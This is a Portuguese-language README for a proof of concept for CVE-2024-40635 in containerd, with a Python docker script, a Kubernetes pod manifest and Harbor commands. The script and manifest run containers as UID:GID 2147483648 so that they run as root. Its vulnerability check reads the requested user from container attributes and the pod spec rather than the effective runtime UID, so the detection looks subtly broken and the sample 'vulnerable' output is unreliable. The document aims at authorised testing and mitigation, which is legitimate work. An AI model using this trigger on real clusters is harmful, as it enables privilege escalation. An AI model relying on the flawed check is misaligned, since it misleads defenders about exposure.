CVE-2024-40635_POC

Código de Prova de Conceito para comprovar a vulnerabilidade CVE-2024-40635. Dados coletados de: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. Importando a Biblioteca Docker

import docker

Esta linha importa a biblioteca docker do Python, que permite a interação com o Docker por meio da sua API. Se essa biblioteca não estiver instalada, você pode instalá-la executando:

pip install docker

2. Inicializando o Cliente Docker

client = docker.from_env()

Aqui, criamos um objeto cliente Docker usando o método docker.from_env(). Ele conecta ao daemon do Docker em execução na sua máquina (ou em um host remoto, se configurado).

3. Definindo uma Função para Verificar Vulnerabilidade

def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False

• Propósito: Esta função verifica se o sistema está vulnerável inspecionando os atributos do contêiner criado.

• Etapas principais:

  • container.attrs: Obtém todos os metadados sobre o contêiner (configuração, configurações de runtime, etc.).

  • details['Config']['User']: Extrai o UID:GID (ID do usuário e do grupo) sob o qual o contêiner é executado. Esta é a propriedade que estamos testando.

  • print(f"Container UID:GID = {uid_gid}"): Sempre imprime o UID:GID para visibilidade.

  • Verificação de Vulnerabilidade: Se o UID:GID for "0:0", isso indica que o contêiner está sendo executado com privilégios de root e o sistema está vulnerável.

4. Executando um Contêiner Docker

container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)

• client.containers.run: Isso cria e inicia um contêiner Docker.

  • "vulnerable-image": Substitua pelo nome de uma imagem Docker real adequada para teste.

  • user="2147483648:2147483648": Aqui, definimos um ID de usuário e um ID de grupo (UID:GID) personalizados. Os valores excedem o intervalo de inteiro com sinal de 32 bits, que é a condição que dispara a vulnerabilidade.

  • detach=True: Isso garante que o contêiner seja executado em segundo plano, permitindo que o script continue sem aguardar a conclusão da execução do contêiner.

5. Verificando Erros

try:
    ...
except Exception as e:
    print(f"Error: {e}")

Este bloco try-except garante que quaisquer erros durante a criação ou execução do contêiner sejam capturados e impressos, evitando o encerramento abrupto do script.

6. Imprimindo o ID do Contêiner

print(f"Container {container.id} started.")

Depois que o contêiner é criado e iniciado com sucesso, seu ID exclusivo é impresso para referência. Isso é útil para depuração ou para inspeção adicional do contêiner.

7. Invocando a Verificação de Vulnerabilidade

if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

Isso chama is_system_vulnerable function, passando o contêiner criado como argumento.

Com base no resultado (True para vulnerável, False para não vulnerável), ele imprime uma mensagem correspondente.

8. Detalhes da Saída

O script foi projetado para fornecer informações detalhadas em sua saída, incluindo:

• O UID:GID atribuído ao contêiner.

• Uma indicação clara de se o sistema está vulnerável ou não.

Exemplo Passo a Passo:

Imagine que este script seja executado em um ambiente de teste e o seguinte ocorra:

1. Um contêiner é criado usando a imagem vulnerável e o usuário 2147483648:2147483648.
2. Durante a verificação de vulnerabilidade, o sistema interpreta esses IDs como 0:0 (root), fazendo com que o contêiner seja executado com privilégios de root.
3. O script identifica esse comportamento, imprimindo:

Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

Alternativamente, se o sistema tratar corretamente valores grandes de UID:GID e não os mapear para root, você poderá ver:

Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

Notas para Testes:

• Use um ambiente isolado (por exemplo, uma VM) para evitar colocar em risco os sistemas de produção.
• Substitua "vulnerable-image" por uma imagem Docker que atenda ao seu cenário de teste (por exemplo, uma imagem com dependências mínimas).
• Certifique-se de que o Docker esteja instalado e acessível a partir do ambiente Python.

Executando de dentro de um ambiente

Executar esta prova de conceito (PoC) em um ambiente ativo, como Kubernetes e Harbor, para pentest envolve planejamento cuidadoso para garantir que os testes sejam controlados, éticos e impactantes. Veja um detalhamento de como você pode conduzir isso:

1. Planeje e prepare-se Entenda o escopo: defina os limites do seu teste. Garanta que você tenha permissões explícitas para realizar pentest no ambiente ativo.

2. Backup: crie backups dos sistemas e contêineres críticos caso os testes afetem sua disponibilidade ou dados.

3 Ambiente de Teste: configure um namespace ou cluster separado dentro do Kubernetes, dedicado a esta PoC, para evitar afetar as cargas de trabalho de produção.

2. Use o Kubernetes para Testes Veja como você pode integrar a PoC ao Kubernetes: a. Implante a versão vulnerável

• Implante um contêiner usando a versão vulnerável do containerd (v1.6.35-gke.0) dentro do seu cluster Kubernetes.

• Use uma imagem Docker (por exemplo, "vulnerable-image") com dependências mínimas para manter a superfície de ataque pequena.

Exemplo de YAML para implantação no Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

Aplique o YAML com:

kubectl apply -f pod.yml

b. Verifique com a PoC

• Execute o script Python que você desenvolveu a partir de uma máquina que tenha acesso ao cluster Kubernetes. Por exemplo, você pode modificar o script para interagir com o Kubernetes usando a biblioteca Python kubernetes.

• Instale-a com:

pip install kubernetes

Aqui está um trecho de código atualizado para integrar o Kubernetes:

from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")

3. Use o Harbor para Gerenciamento de Imagens Como o Harbor é um registro de contêineres, você pode:

• Envie a Imagem Vulnerável: crie a tag e envie sua imagem vulnerável para o Harbor:

docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest

• Baixe a Imagem para Teste: garanta que o Pod do Kubernetes use a imagem do Harbor especificando o caminho completo do Harbor no campo image do arquivo YAML.

O Harbor permite controlar o acesso às imagens; portanto, restrinja o acesso para garantir que a imagem vulnerável seja usada apenas em pentest.

4. Valide e Documente os Resultados

• Validação: após executar a PoC, verifique os logs para verificar se há indicações de que a vulnerabilidade foi acionada. Por exemplo, confirme se o contêiner (ou Pod) está sendo executado como root.

• Documentação: registre suas descobertas, tais como:

  • O UID:GID atribuído ao contêiner ou Pod.
  • Logs ou saídas que indiquem se o sistema está vulnerável.
  • Recomendações de mitigação (por exemplo, atualizar o containerd para uma versão corrigida).

5. Mitigação Depois que os testes forem concluídos:

• Corrija seu ambiente atualizando o containerd para uma versão corrigida (1.6.38 ou posterior).
• Aplique políticas de segurança (por exemplo, usando PodSecurityPolicy ou Open Policy Agent) para impedir que contêineres com configurações inseguras de UID:GID sejam executados.

Cuidado

• Realize testes apenas em um ambiente que você controla ou para o qual tenha permissão explícita para testar.
• Garanta que a imagem vulnerável não seja implantada além do ambiente de teste.
• Trate descobertas confidenciais de forma responsável, reportando-as à sua organização.